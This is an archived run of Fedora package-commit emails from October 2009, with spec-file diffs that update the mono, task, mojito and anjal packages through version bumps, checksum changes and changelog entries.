-* Sun Jan 04 2009 Paul F. Johnson <paul at all-the-johnsons.co.uk> 2.2-15.RC1.20090401svn122388
-- Updates from svn
-
-* Wed Dec 31 2008 Paul F. Johnson <paul at all-the-johnsons.co.uk> 2.2-15.RC1.20081231svn122288
-- Important updates from svn
-
-* Mon Dec 29 2008 Paul F. Johnson <paul at all-the-johnsons.co.uk> 2.2-15.RC1.20081229svn122181
-- Update from svn
-
-* Tue Dec 23 2008 Paul F. Johnson <paul at all-the-johnsons.co.uk> 2.2-14.RC1.20081223svn122032
-- Remove ppc self-build parts and ppc reordering patch
-- Update from svn
-- Minor spec file cleanups
-
-* Fri Dec 19 2008 Paul F. Johnson <paul at all-the-johnsons.co.uk> 2.2-14.pre3.20081219svn121833
-- Get PPC to build itself, will be disabled from the next build
-
-* Fri Dec 19 2008 Paul F. Johnson <paul at all-the-johnsons.co.uk> 2.2-13.pre3.20081219svn121833
-- Lots more fixes
-- New patch for ppc archs
-- Re-enable ppc build
-
-* Wed Dec 17 2008 Paul F. Johnson <paul at all-the-johnsons.co.uk> 2.2-12.pre3.20081217svn121664
-- Fix libdir issue with monodoc
-
-* Tue Dec 16 2008 Paul F. Johnson <paul at all-the-johnsons.co.uk> 2.2-11.pre3.20081216svn121605
-- Fixes problems with web references
-- Fixes x86_64 build problems
-- Added new web-devel subpackage
-
-* Mon Dec 15 2008 Paul F. Johnson <paul at all-the-johnsons.co.uk> 2.2-11.pre3.20081215svn121536
-- Exclude ppc due to build problems (temporary)
-- Moved to pre3 in sync with Novell releases
-
-* Wed Dec 10 2008 Paul F. Johnson <paul at all-the-johnsons.co.uk> 2.2-10.pre2.20081215svn121507
-- removed the winform patch
-- move to svn
-- removed files no longer built
-- removed vbnc manual
-
-* Tue Dec 09 2008 Paul F. Johnson <paul at all-the-johnsons.co.uk> 2.2-9.pre2
-- remove the seds and just use patches
-
-* Fri Dec 05 2008 Paul F. Johnson <paul at all-the-johnsons.co.uk> 2.2-8.pre2
-- Bump to 2.2 preview 2
-- More sed fixes
-
-* Thu Dec 04 2008 Paul F. Johnson <paul at all-the-johnsons.co.uk> 2.2-7.pre1
-- Add fix so that winforms doesn't need libgdiplus-devel
-- Add fix so the sed script works correctly on x86_64
-
-* Sun Nov 30 2008 Paul F. Johnson <paul at all-the-johnsons.co.uk> 2.2-6.pre1
-- missed a sed invocation
-
-* Sun Nov 30 2008 Paul F. Johnson <paul at all-the-johnsons.co.uk> 2.2-5.pre1
-- new patch for winforms problems
-- reorganised patches
-- use sed to fix the incorrect libdir issues - experimental!!!!
-
-* Wed Nov 26 2008 Paul F. Johnson <paul at all-the-johnsons.co.uk> 2.2-4.pre1
-- mono.pc libfile fix
-
-* Tue Nov 25 2008 Paul F. Johnson <paul at all-the-johnsons.co.uk> 2.2-2.pre1
-- fix monodoc libdir issues
-
-* Tue Nov 25 2008 Paul F. Johnson <paul at all-the-johnsons.co.uk> 2.2-1.1.pre1
-- rebuild
+* Tue Mar 10 2009 Paul F. Johnson <paul at all-the-johnsons.co.uk> 2.2-2
+- Fix mono-cairo libdir issue
 
-* Mon Nov 18 2008 Paul F. Johnson <paul at all-the-johnsons.co.uk> 2.2-1.pre1
-- Bump to 2.2 preview 1
-- remove old patches
-- add build information for monodoc
+* Fri Jan 16 2009 Paul F. Johnson <paul at all-the-johnsons.co.uk> 2.2-1
+- Bump to 2.2 release
+- Huge number of changes since 2.01
+- Fix now included so winforms no longer has circular dep
+- Obsoletes monodoc
 
 * Sun Nov 02 2008 Paul F. Johnson <paul at all-the-johnsons.co.uk> 2.0.13
 - Add in mono-api-diff and mono-api-info


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/mono/F-10/sources,v
retrieving revision 1.28
retrieving revision 1.29
diff -u -p -r1.28 -r1.29
--- sources	15 Mar 2009 13:58:05 -0000	1.28
+++ sources	21 Oct 2009 21:59:24 -0000	1.29
@@ -1 +1 @@
-320d7928ff0622809b67c884728e4fb4  mono-2.4.tar.bz2
+a311545a0003f1a599297d57e4e27916  mono-2.2.tar.bz2



From ultrafredde at fedoraproject.org  Wed Oct 21 22:02:41 2009
From: ultrafredde at fedoraproject.org (Federico Hernandez)
Date: Wed, 21 Oct 2009 22:02:41 +0000 (UTC)
Subject: rpms/task/F-10 .cvsignore, 1.6, 1.7 import.log, 1.6, 1.7 sources,
	1.7, 1.8 task.spec, 1.6, 1.7
Message-ID: <20091021220241.0E1EF11C00E8@cvs1.fedora.phx.redhat.com>

Author: ultrafredde

Update of /cvs/pkgs/rpms/task/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13766/F-10

Modified Files:
	.cvsignore import.log sources task.spec 
Log Message:
task updated to 1.8.3


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/task/F-10/.cvsignore,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- .cvsignore	7 Sep 2009 10:02:59 -0000	1.6
+++ .cvsignore	21 Oct 2009 22:02:40 -0000	1.7
@@ -1 +1 @@
-task-1.8.2.tar.gz
+task-1.8.3.tar.gz


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/task/F-10/import.log,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- import.log	7 Sep 2009 10:02:59 -0000	1.6
+++ import.log	21 Oct 2009 22:02:40 -0000	1.7
@@ -4,3 +4,4 @@ task-1_7_1-2_fc10:F-10:task-1.7.1-2.fc10
 task-1_8_0-1_fc10:F-10:task-1.8.0-1.fc10.src.rpm:1249996577
 task-1_8_1-1_fc10:F-10:task-1.8.1-1.fc10.src.rpm:1250805496
 task-1_8_2-1_fc10:F-10:task-1.8.2-1.fc10.src.rpm:1252317762
+task-1_8_3-1_fc10:F-10:task-1.8.3-1.fc10.src.rpm:1256161807


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/task/F-10/sources,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- sources	7 Sep 2009 10:02:59 -0000	1.7
+++ sources	21 Oct 2009 22:02:40 -0000	1.8
@@ -1 +1 @@
-1bc2d6e8fb7be15ee732f1eca6989beb  task-1.8.2.tar.gz
+9ac27bdd2e6b63d07d46c61cf82e8dcd  task-1.8.3.tar.gz


Index: task.spec
===================================================================
RCS file: /cvs/pkgs/rpms/task/F-10/task.spec,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- task.spec	7 Sep 2009 10:02:59 -0000	1.6
+++ task.spec	21 Oct 2009 22:02:40 -0000	1.7
@@ -1,5 +1,5 @@
 Name:           task
-Version:        1.8.2
+Version:        1.8.3
 Release:        1%{?dist}
 Summary:        A command-line to do list manager
 
@@ -49,6 +49,8 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Wed Oct 21 2009 Federico Hernandez <ultrafredde at gmail.com> - 1.8.3-1
+  Intial RPM for task bugfix release 1.8.3
 * Mon Sep 07 2009 Federico Hernandez <ultrafredde at gmail.com> - 1.8.2-1
   Intial RPM for task bugfix release 1.8.2
 * Thu Aug 20 2009 Federico Hernandez <ultrafredde at gmail.com> - 1.8.1-1



From ultrafredde at fedoraproject.org  Wed Oct 21 22:16:29 2009
From: ultrafredde at fedoraproject.org (Federico Hernandez)
Date: Wed, 21 Oct 2009 22:16:29 +0000 (UTC)
Subject: rpms/task/F-11 .cvsignore, 1.6, 1.7 import.log, 1.6, 1.7 sources,
	1.7, 1.8 task.spec, 1.6, 1.7
Message-ID: <20091021221629.2CEC011C00E8@cvs1.fedora.phx.redhat.com>

Author: ultrafredde

Update of /cvs/pkgs/rpms/task/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17804/F-11

Modified Files:
	.cvsignore import.log sources task.spec 
Log Message:
task updated to 1.8.3


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/task/F-11/.cvsignore,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- .cvsignore	7 Sep 2009 10:14:03 -0000	1.6
+++ .cvsignore	21 Oct 2009 22:16:27 -0000	1.7
@@ -1 +1 @@
-task-1.8.2.tar.gz
+task-1.8.3.tar.gz


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/task/F-11/import.log,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- import.log	7 Sep 2009 10:14:03 -0000	1.6
+++ import.log	21 Oct 2009 22:16:27 -0000	1.7
@@ -4,3 +4,4 @@ task-1_7_1-2_fc10:F-11:task-1.7.1-2.fc10
 task-1_8_0-1_fc10:F-11:task-1.8.0-1.fc10.src.rpm:1249997080
 task-1_8_1-1_fc10:F-11:task-1.8.1-1.fc10.src.rpm:1250806196
 task-1_8_2-1_fc10:F-11:task-1.8.2-1.fc10.src.rpm:1252318424
+task-1_8_3-1_fc10:F-11:task-1.8.3-1.fc10.src.rpm:1256163372


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/task/F-11/sources,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- sources	7 Sep 2009 10:14:03 -0000	1.7
+++ sources	21 Oct 2009 22:16:27 -0000	1.8
@@ -1 +1 @@
-1bc2d6e8fb7be15ee732f1eca6989beb  task-1.8.2.tar.gz
+9ac27bdd2e6b63d07d46c61cf82e8dcd  task-1.8.3.tar.gz


Index: task.spec
===================================================================
RCS file: /cvs/pkgs/rpms/task/F-11/task.spec,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- task.spec	7 Sep 2009 10:14:03 -0000	1.6
+++ task.spec	21 Oct 2009 22:16:27 -0000	1.7
@@ -1,5 +1,5 @@
 Name:           task
-Version:        1.8.2
+Version:        1.8.3
 Release:        1%{?dist}
 Summary:        A command-line to do list manager
 
@@ -49,6 +49,8 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Wed Oct 21 2009 Federico Hernandez <ultrafredde at gmail.com> - 1.8.3-1
+  Intial RPM for task bugfix release 1.8.3
 * Mon Sep 07 2009 Federico Hernandez <ultrafredde at gmail.com> - 1.8.2-1
   Intial RPM for task bugfix release 1.8.2
 * Thu Aug 20 2009 Federico Hernandez <ultrafredde at gmail.com> - 1.8.1-1



From pbrobinson at fedoraproject.org  Wed Oct 21 22:23:56 2009
From: pbrobinson at fedoraproject.org (Peter Robinson)
Date: Wed, 21 Oct 2009 22:23:56 +0000 (UTC)
Subject: rpms/mojito/devel mojito.spec,1.22,1.23
Message-ID: <20091021222356.98A0B11C00E8@cvs1.fedora.phx.redhat.com>

Author: pbrobinson

Update of /cvs/pkgs/rpms/mojito/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19616

Modified Files:
	mojito.spec 
Log Message:
 - enable digg support


Index: mojito.spec
===================================================================
RCS file: /cvs/pkgs/rpms/mojito/devel/mojito.spec,v
retrieving revision 1.22
retrieving revision 1.23
diff -u -p -r1.22 -r1.23
--- mojito.spec	21 Oct 2009 21:35:46 -0000	1.22
+++ mojito.spec	21 Oct 2009 22:23:56 -0000	1.23
@@ -1,6 +1,6 @@
 Name:           mojito
 Version:        0.21.4
-Release:        1%{?dist}
+Release:        2%{?dist}
 Summary:        A social network data aggregator
 
 Group:          Applications/Internet
@@ -52,7 +52,9 @@ sed -i 's|echo|exit 0|g' autogen.sh
    --enable-twitter-key=4PEfS48BDCWSHSb1s84ebQ:HqJIWVVJwXNIMaNPuxkYw6wVTL2paNdWkvOg3mXxE \
    --enable-lastfm-key=b70f696913487a44ea13038e926a096a \
    --enable-myspace-key=f06906e7522f46f2a08a03e11ef66496:45ee30d3b29c47ffbb65b59bd84d1848bfa93c968b7d487cae68a6790e96c6ef \
-   --enable-flickr-key=d7953dc63a9498433bfdb4287ee2694b:2bd799133e3a2c7f
+   --enable-flickr-key=d7953dc63a9498433bfdb4287ee2694b:2bd799133e3a2c7f \
+   --enable-digg-key=http://services.digg.com/user/sbwms?appkey=http%3A%2F%2Fwww.fedoraproject.org%2Fapplication
+
 
 # Remove rpath as per https://fedoraproject.org/wiki/Packaging/Guidelines#Beware_of_Rpath
 sed -i 's|^hardcode_libdir_flag_spec=.*|hardcode_libdir_flag_spec=""|g' libtool
@@ -105,6 +107,9 @@ rm -rf %{buildroot}
 %{_libdir}/libmojito-keystore.so
 
 %changelog
+* Wed Oct 21 2009 Peter Robinson <pbrobinson at gmail.com> 0.21.4-2
+- enable digg support
+
 * Wed Oct 21 2009 Peter Robinson <pbrobinson at gmail.com> 0.21.4-1
 - Update to 0.21.4
 



From ultrafredde at fedoraproject.org  Wed Oct 21 22:26:52 2009
From: ultrafredde at fedoraproject.org (Federico Hernandez)
Date: Wed, 21 Oct 2009 22:26:52 +0000 (UTC)
Subject: rpms/task/F-12 .cvsignore, 1.6, 1.7 import.log, 1.6, 1.7 sources,
	1.7, 1.8 task.spec, 1.7, 1.8
Message-ID: <20091021222652.0820E11C00E8@cvs1.fedora.phx.redhat.com>

Author: ultrafredde

Update of /cvs/pkgs/rpms/task/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21394/F-12

Modified Files:
	.cvsignore import.log sources task.spec 
Log Message:
task updated to 1.8.3


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/task/F-12/.cvsignore,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- .cvsignore	7 Sep 2009 10:23:59 -0000	1.6
+++ .cvsignore	21 Oct 2009 22:26:51 -0000	1.7
@@ -1 +1 @@
-task-1.8.2.tar.gz
+task-1.8.3.tar.gz


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/task/F-12/import.log,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- import.log	7 Sep 2009 10:23:59 -0000	1.6
+++ import.log	21 Oct 2009 22:26:51 -0000	1.7
@@ -4,3 +4,4 @@ task-1_7_1-2_fc10:HEAD:task-1.7.1-2.fc10
 task-1_8_0-1_fc10:HEAD:task-1.8.0-1.fc10.src.rpm:1249997682
 task-1_8_1-1_fc10:HEAD:task-1.8.1-1.fc10.src.rpm:1250806897
 task-1_8_2-1_fc10:F-12:task-1.8.2-1.fc10.src.rpm:1252318919
+task-1_8_3-1_fc10:F-12:task-1.8.3-1.fc10.src.rpm:1256163996


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/task/F-12/sources,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- sources	7 Sep 2009 10:23:59 -0000	1.7
+++ sources	21 Oct 2009 22:26:51 -0000	1.8
@@ -1 +1 @@
-1bc2d6e8fb7be15ee732f1eca6989beb  task-1.8.2.tar.gz
+9ac27bdd2e6b63d07d46c61cf82e8dcd  task-1.8.3.tar.gz


Index: task.spec
===================================================================
RCS file: /cvs/pkgs/rpms/task/F-12/task.spec,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- task.spec	7 Sep 2009 10:23:59 -0000	1.7
+++ task.spec	21 Oct 2009 22:26:51 -0000	1.8
@@ -1,5 +1,5 @@
 Name:           task
-Version:        1.8.2
+Version:        1.8.3
 Release:        1%{?dist}
 Summary:        A command-line to do list manager
 
@@ -49,6 +49,8 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Wed Oct 21 2009 Federico Hernandez <ultrafredde at gmail.com> - 1.8.3-1
+  Intial RPM for task bugfix release 1.8.3
 * Mon Sep 07 2009 Federico Hernandez <ultrafredde at gmail.com> - 1.8.2-1
   Intial RPM for task bugfix release 1.8.2
 * Thu Aug 20 2009 Federico Hernandez <ultrafredde at gmail.com> - 1.8.1-1



From pbrobinson at fedoraproject.org  Wed Oct 21 22:27:09 2009
From: pbrobinson at fedoraproject.org (Peter Robinson)
Date: Wed, 21 Oct 2009 22:27:09 +0000 (UTC)
Subject: rpms/mojito/F-12 mojito.spec,1.22,1.23
Message-ID: <20091021222709.225EE11C00E8@cvs1.fedora.phx.redhat.com>

Author: pbrobinson

Update of /cvs/pkgs/rpms/mojito/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21521

Modified Files:
	mojito.spec 
Log Message:
 - enable digg support


Index: mojito.spec
===================================================================
RCS file: /cvs/pkgs/rpms/mojito/F-12/mojito.spec,v
retrieving revision 1.22
retrieving revision 1.23
diff -u -p -r1.22 -r1.23
--- mojito.spec	21 Oct 2009 21:43:00 -0000	1.22
+++ mojito.spec	21 Oct 2009 22:27:08 -0000	1.23
@@ -1,6 +1,6 @@
 Name:           mojito
 Version:        0.21.4
-Release:        1%{?dist}
+Release:        2%{?dist}
 Summary:        A social network data aggregator
 
 Group:          Applications/Internet
@@ -52,7 +52,9 @@ sed -i 's|echo|exit 0|g' autogen.sh
    --enable-twitter-key=4PEfS48BDCWSHSb1s84ebQ:HqJIWVVJwXNIMaNPuxkYw6wVTL2paNdWkvOg3mXxE \
    --enable-lastfm-key=b70f696913487a44ea13038e926a096a \
    --enable-myspace-key=f06906e7522f46f2a08a03e11ef66496:45ee30d3b29c47ffbb65b59bd84d1848bfa93c968b7d487cae68a6790e96c6ef \
-   --enable-flickr-key=d7953dc63a9498433bfdb4287ee2694b:2bd799133e3a2c7f
+   --enable-flickr-key=d7953dc63a9498433bfdb4287ee2694b:2bd799133e3a2c7f \
+   --enable-digg-key=http://services.digg.com/user/sbwms?appkey=http%3A%2F%2Fwww.fedoraproject.org%2Fapplication
+
 
 # Remove rpath as per https://fedoraproject.org/wiki/Packaging/Guidelines#Beware_of_Rpath
 sed -i 's|^hardcode_libdir_flag_spec=.*|hardcode_libdir_flag_spec=""|g' libtool
@@ -105,6 +107,9 @@ rm -rf %{buildroot}
 %{_libdir}/libmojito-keystore.so
 
 %changelog
+* Wed Oct 21 2009 Peter Robinson <pbrobinson at gmail.com> 0.21.4-2
+- enable digg support
+
 * Wed Oct 21 2009 Peter Robinson <pbrobinson at gmail.com> 0.21.4-1
 - Update to 0.21.4
 



From pbrobinson at fedoraproject.org  Wed Oct 21 22:34:29 2009
From: pbrobinson at fedoraproject.org (Peter Robinson)
Date: Wed, 21 Oct 2009 22:34:29 +0000 (UTC)
Subject: rpms/anjal/devel anjal.spec,1.11,1.12
Message-ID: <20091021223429.ED1B411C00E8@cvs1.fedora.phx.redhat.com>

Author: pbrobinson

Update of /cvs/pkgs/rpms/anjal/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24703

Modified Files:
	anjal.spec 
Log Message:
- Fix versioning


Index: anjal.spec
===================================================================
RCS file: /cvs/pkgs/rpms/anjal/devel/anjal.spec,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- anjal.spec	19 Oct 2009 16:48:16 -0000	1.11
+++ anjal.spec	21 Oct 2009 22:34:29 -0000	1.12
@@ -1,12 +1,12 @@
 Name:           anjal
-Version:        0.1
+Version:        0.1.0
 Release:        1%{?dist}
 Summary:        An email client for small screen devices
 
 Group:          Applications/Productivity
 License:        LGPLv2 or LGPLv3
 URL:            http://live.gnome.org/Anjal/
-Source0:        ftp://ftp.gnome.org/pub/gnome/sources/%{name}/0.1/%{name}-%{version}.tar.bz2
+Source0:        ftp://ftp.gnome.org/pub/gnome/sources/%{name}/0.1/%{name}-0.1.tar.bz2
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires: anerley-devel
@@ -36,7 +36,7 @@ folders, new mail and config. Being base
 all the mail backends including POP3, IMAP4, Exchange and GroupWare.
 
 %prep
-%setup -q
+%setup -q -n %{name}-0.1
 
 %build
 %configure --with-mozilla=no --with-anerley
@@ -83,7 +83,10 @@ rm -rf %{buildroot}
 %{_datadir}/gnome-control-center/default-apps/anjal.xml
 
 %changelog
-* Mon Oct 12 2009 Peter Robinson <pbrobinson at gmail.com> 0.1-1
+* Wed Oct 21 2009 Peter Robinson <pbrobinson at gmail.com> 0.1.0-1
+- Fix versioning
+
+* Mon Oct 19 2009 Peter Robinson <pbrobinson at gmail.com> 0.1-1
 - Official upstream 0.1 release
 
 * Mon Oct 12 2009 Peter Robinson <pbrobinson at gmail.com> 0.1.0-0.13



From ultrafredde at fedoraproject.org  Wed Oct 21 22:36:29 2009
From: ultrafredde at fedoraproject.org (Federico Hernandez)
Date: Wed, 21 Oct 2009 22:36:29 +0000 (UTC)
Subject: rpms/task/devel .cvsignore, 1.6, 1.7 import.log, 1.6, 1.7 sources,
	1.7, 1.8 task.spec, 1.7, 1.8
Message-ID: <20091021223629.ACEBE11C02A2@cvs1.fedora.phx.redhat.com>

Author: ultrafredde

Update of /cvs/pkgs/rpms/task/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26028/devel

Modified Files:
	.cvsignore import.log sources task.spec 
Log Message:
task updated to 1.8.3


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/task/devel/.cvsignore,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- .cvsignore	7 Sep 2009 10:34:16 -0000	1.6
+++ .cvsignore	21 Oct 2009 22:36:28 -0000	1.7
@@ -1 +1 @@
-task-1.8.2.tar.gz
+task-1.8.3.tar.gz


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/task/devel/import.log,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- import.log	7 Sep 2009 10:34:16 -0000	1.6
+++ import.log	21 Oct 2009 22:36:28 -0000	1.7
@@ -4,3 +4,4 @@ task-1_7_1-2_fc10:HEAD:task-1.7.1-2.fc10
 task-1_8_0-1_fc10:HEAD:task-1.8.0-1.fc10.src.rpm:1249997682
 task-1_8_1-1_fc10:HEAD:task-1.8.1-1.fc10.src.rpm:1250806897
 task-1_8_2-1_fc10:HEAD:task-1.8.2-1.fc10.src.rpm:1252319639
+task-1_8_3-1_fc10:HEAD:task-1.8.3-1.fc10.src.rpm:1256164568


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/task/devel/sources,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- sources	7 Sep 2009 10:34:16 -0000	1.7
+++ sources	21 Oct 2009 22:36:28 -0000	1.8
@@ -1 +1 @@
-1bc2d6e8fb7be15ee732f1eca6989beb  task-1.8.2.tar.gz
+9ac27bdd2e6b63d07d46c61cf82e8dcd  task-1.8.3.tar.gz


Index: task.spec
===================================================================
RCS file: /cvs/pkgs/rpms/task/devel/task.spec,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- task.spec	7 Sep 2009 10:34:16 -0000	1.7
+++ task.spec	21 Oct 2009 22:36:28 -0000	1.8
@@ -1,5 +1,5 @@
 Name:           task
-Version:        1.8.2
+Version:        1.8.3
 Release:        1%{?dist}
 Summary:        A command-line to do list manager
 
@@ -49,6 +49,8 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Wed Oct 21 2009 Federico Hernandez <ultrafredde at gmail.com> - 1.8.3-1
+  Intial RPM for task bugfix release 1.8.3
 * Mon Sep 07 2009 Federico Hernandez <ultrafredde at gmail.com> - 1.8.2-1
   Intial RPM for task bugfix release 1.8.2
 * Thu Aug 20 2009 Federico Hernandez <ultrafredde at gmail.com> - 1.8.1-1



From pbrobinson at fedoraproject.org  Wed Oct 21 22:47:28 2009
From: pbrobinson at fedoraproject.org (Peter Robinson)
Date: Wed, 21 Oct 2009 22:47:28 +0000 (UTC)
Subject: rpms/anjal/F-12 anjal.spec,1.11,1.12
Message-ID: <20091021224728.1FD9A11C00E8@cvs1.fedora.phx.redhat.com>

Author: pbrobinson

Update of /cvs/pkgs/rpms/anjal/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29063

Modified Files:
	anjal.spec 
Log Message:
- Fix versioning


Index: anjal.spec
===================================================================
RCS file: /cvs/pkgs/rpms/anjal/F-12/anjal.spec,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- anjal.spec	19 Oct 2009 16:57:52 -0000	1.11
+++ anjal.spec	21 Oct 2009 22:47:27 -0000	1.12
@@ -1,12 +1,12 @@
 Name:           anjal
-Version:        0.1
+Version:        0.1.0
 Release:        1%{?dist}
 Summary:        An email client for small screen devices
 
 Group:          Applications/Productivity
 License:        LGPLv2 or LGPLv3
 URL:            http://live.gnome.org/Anjal/
-Source0:        ftp://ftp.gnome.org/pub/gnome/sources/%{name}/0.1/%{name}-%{version}.tar.bz2
+Source0:        ftp://ftp.gnome.org/pub/gnome/sources/%{name}/0.1/%{name}-0.1.tar.bz2
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires: anerley-devel
@@ -36,7 +36,7 @@ folders, new mail and config. Being base
 all the mail backends including POP3, IMAP4, Exchange and GroupWare.
 
 %prep
-%setup -q
+%setup -q -n %{name}-0.1
 
 %build
 %configure --with-mozilla=no --with-anerley
@@ -83,7 +83,10 @@ rm -rf %{buildroot}
 %{_datadir}/gnome-control-center/default-apps/anjal.xml
 
 %changelog
-* Mon Oct 12 2009 Peter Robinson <pbrobinson at gmail.com> 0.1-1
+* Wed Oct 21 2009 Peter Robinson <pbrobinson at gmail.com> 0.1.0-1
+- Fix versioning
+
+* Mon Oct 19 2009 Peter Robinson <pbrobinson at gmail.com> 0.1-1
 - Official upstream 0.1 release
 
 * Mon Oct 12 2009 Peter Robinson <pbrobinson at gmail.com> 0.1.0-0.13



From ultrafredde at fedoraproject.org  Wed Oct 21 22:59:28 2009
From: ultrafredde at fedoraproject.org (Federico Hernandez)
Date: Wed, 21 Oct 2009 22:59:28 +0000 (UTC)
Subject: rpms/task/EL-5 .cvsignore, 1.5, 1.6 import.log, 1.5, 1.6 sources,
	1.6, 1.7 task.spec, 1.6, 1.7
Message-ID: <20091021225928.4DE5911C00E8@cvs1.fedora.phx.redhat.com>

Author: ultrafredde

Update of /cvs/pkgs/rpms/task/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv965/EL-5

Modified Files:
	.cvsignore import.log sources task.spec 
Log Message:
task updated to 1.8.3


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/task/EL-5/.cvsignore,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- .cvsignore	20 Aug 2009 22:22:01 -0000	1.5
+++ .cvsignore	21 Oct 2009 22:59:27 -0000	1.6
@@ -1 +1 @@
-task-1.8.1.tar.gz
+task-1.8.3.tar.gz


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/task/EL-5/import.log,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- import.log	20 Aug 2009 22:22:02 -0000	1.5
+++ import.log	21 Oct 2009 22:59:27 -0000	1.6
@@ -3,3 +3,4 @@ task-1_7_1-1_fc10:HEAD:task-1.7.1-1.fc10
 task-1_7_1-2_fc10:HEAD:task-1.7.1-2.fc10.src.rpm:1244565493
 task-1_8_0-1_fc10:HEAD:task-1.8.0-1.fc10.src.rpm:1249997682
 task-1_8_1-1_fc10:HEAD:task-1.8.1-1.fc10.src.rpm:1250806897
+task-1_8_3-1_fc10:EL-5:task-1.8.3-1.fc10.src.rpm:1256165943


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/task/EL-5/sources,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- sources	20 Aug 2009 22:22:02 -0000	1.6
+++ sources	21 Oct 2009 22:59:27 -0000	1.7
@@ -1 +1 @@
-c21590baf207f83cf5448351c3ac4ffb  task-1.8.1.tar.gz
+9ac27bdd2e6b63d07d46c61cf82e8dcd  task-1.8.3.tar.gz


Index: task.spec
===================================================================
RCS file: /cvs/pkgs/rpms/task/EL-5/task.spec,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- task.spec	20 Aug 2009 22:22:02 -0000	1.6
+++ task.spec	21 Oct 2009 22:59:27 -0000	1.7
@@ -1,5 +1,5 @@
 Name:           task
-Version:        1.8.1
+Version:        1.8.3
 Release:        1%{?dist}
 Summary:        A command-line to do list manager
 
@@ -49,6 +49,10 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Wed Oct 21 2009 Federico Hernandez <ultrafredde at gmail.com> - 1.8.3-1
+  Intial RPM for task bugfix release 1.8.3
+* Mon Sep 07 2009 Federico Hernandez <ultrafredde at gmail.com> - 1.8.2-1
+  Intial RPM for task bugfix release 1.8.2
 * Thu Aug 20 2009 Federico Hernandez <ultrafredde at gmail.com> - 1.8.1-1
   Intial RPM for task bugfix release 1.8.1
 * Tue Jul 21 2009 Federico Hernandez <ultrafredde at gmail.com> - 1.8.0-1
@@ -60,12 +64,12 @@ rm -rf $RPM_BUILD_ROOT
 * Tue Jul 07 2009 Federico Hernandez <ultrafredde at gmail.com> - 1.8.0.beta1-1
   Intial RPM for task beta release 1.8.0.beta1
 * Tue Jun 08 2009 Federico Hernandez <ultrafredde at gmail.com> - 1.7.1-2
-- Fixed inclusion of manpages.
+  Fixed inclusion of manpages.
 * Tue Jun 08 2009 Federico Hernandez <ultrafredde at gmail.com> - 1.7.1-1
-- Initial RPM for bugfix release 1.7.1.
-- Updated references to new project homepage in spec file. 
+  Initial RPM for bugfix release 1.7.1.
+  Updated references to new project homepage in spec file. 
 * Tue May 19 2009 Federico Hernandez <ultrafredde at gmail.com> - 1.7.0-2
-- Changed license to GPLv2+ and removed Requires macro.
-- See https://bugzilla.redhat.com/show_bug.cgi?id=501498
+  Changed license to GPLv2+ and removed Requires macro.
